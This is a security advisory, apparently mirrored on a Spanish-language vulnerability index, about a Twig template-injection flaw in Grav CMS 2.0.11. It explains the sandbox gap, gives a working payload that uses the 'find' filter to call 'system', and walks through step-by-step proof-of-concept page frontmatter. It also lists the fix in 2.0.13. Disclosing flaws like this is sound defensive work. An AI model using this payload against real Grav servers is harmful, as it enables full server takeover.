GHSA-XX48-97M4-H7QM
Remote code execution via Twig Server-side template injection in Grav CMS 2.0.11
Texto original en inglés · Ver en español
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-XX48-97M4-H7QM divulgada | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
A low-privileged page editor (any account that can create or edit a page) can execute arbitrary operating-system commands on the server. Grav sandboxes Twig in normal editor content, but a form's email-action parameters (subject, body, to, from) are rendered as Twig with the sandbox turned off. An editor puts a Twig payload in the email subject; the command runs whenever the form is submitted (by anyone, including an anonymous visitor), and even when no working mail server is configured, because it fires while the message is being built. This is full server takeover from a restricted role.
Details
Grav intentionally stops non-super editors from running arbitrary Twig. Two mechanisms normally enforce that:
- The Twig sandbox is enabled only for editor-controlled sources. The source policy in `system/src/Grav/Common/Twig/Sandbox/GravSourcePolicy.php` turns the sandbox on only for template names starting with `@Page:` or `@Var:`:
```php
return str_starts_with($name, '@Page:') || str_starts_with($name, '@Var:');
```
- Grav also replaces the `filter`, `map` and `reduce` Twig filters with hardened versions that reject dangerous callables regardless of the sandbox. See `system/src/Grav/Common/Twig/Extension/GravExtension.php` (registrations around lines 182-184, guard `Utils::isDangerousFunction($arrow)`), e.g.:
```php
if (!$arrow instanceof \Closure && !is_string($arrow) || Utils::isDangerousFunction($arrow)) {
throw new RuntimeError('Twig |map("' . $arrow . '") is not allowed.');
}
```
Two gaps combine into RCE:
- Email-action parameters are rendered as UNSANDBOXED Twig. The Email plugin renders each param through `processTwigString()` in `user/plugins/email/classes/Email.php` (around line 416), which registers the string under a template name prefixed `@EmailVar:`:
```php
$name = '@EmailVar:' . md5($string);
...
return $twig->twig->render($name, $vars);
```
Because `@EmailVar:` is neither `@Page:` nor `@Var:`, the source policy above does NOT enable the sandbox for it. So these strings run with the full Twig surface. This path is reached from `buildMessage()` -> `processParams()` (around line 204/389) while the message is assembled, before any send.
- The `find` filter is not one of the filters Grav hardens. `filter`, `map` and `reduce` are overridden and always reject dangerous functions, but `find` falls through to Twig core's `find`, which only blocks callables when the sandbox is active. In the unsandboxed `@EmailVar:` render the sandbox is off, so `find` happily calls a string function such as `system`.
Exploit primitive:
{{ ['id > /tmp/pwned 2>&1']|find('system') }}`find` calls `system('id > /tmp/pwned 2>&1')` as its test callback, running the command. It must be `find` (not `map`/`filter`, which Grav blocks). The Email plugin is active in a default install (its engine defaults to sendmail), and the command runs during message build, so no reachable mail server is required.
PoC
- Log in to the admin panel (you can use the admin account, or any account that can edit pages).
- Create a new page using the Form page template. Edit the created page in expert mode and put the following payload into the Frontmatter field:
```yaml
title: Contact
form:
name: rceform
fields:
- name: email
type: text
process:
- email:
from: x@x.com
to: x@x.com
subject: "{{ ['id > /tmp/pwned 2>&1']|find('system') }}"
body: hi
- message: Thanks
```
- Save the page. Note its address, for example http://localhost:8000/contact.
- Open that page in a browser. You will see a small form with one field.
- Fill in anything and press Enter.
- The command has now run on the server. In this example, `/tmp/pwned` now contains the output of the `id` command.
Impact
Unsandboxed-Twig / template-injection leading to remote code execution.
- Who can exploit it: any account with page-edit rights — the exact restricted "editor" role Grav's Twig sandbox is meant to contain. It escalates that role into arbitrary command execution and full server compromise.
- Who is affected: the server and everything on it. The command runs with the web server's privileges. Triggering only needs someone to submit the form, which can be the attacker themselves or any anonymous visitor.
Suggested fix: render email-action parameters through the same sandboxed Twig path used for other editor content (so `@EmailVar:` is sandboxed), and/or harden the `find` filter the same way `map`/`filter`/`reduce` are hardened so it cannot invoke dangerous functions.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Packagistgetgrav/grav |
Corregida | 2.0.13 | — | — |
2.0.13Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/getgrav/grav/security/advisories/GHSA-xx48-97m4-h7qmLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
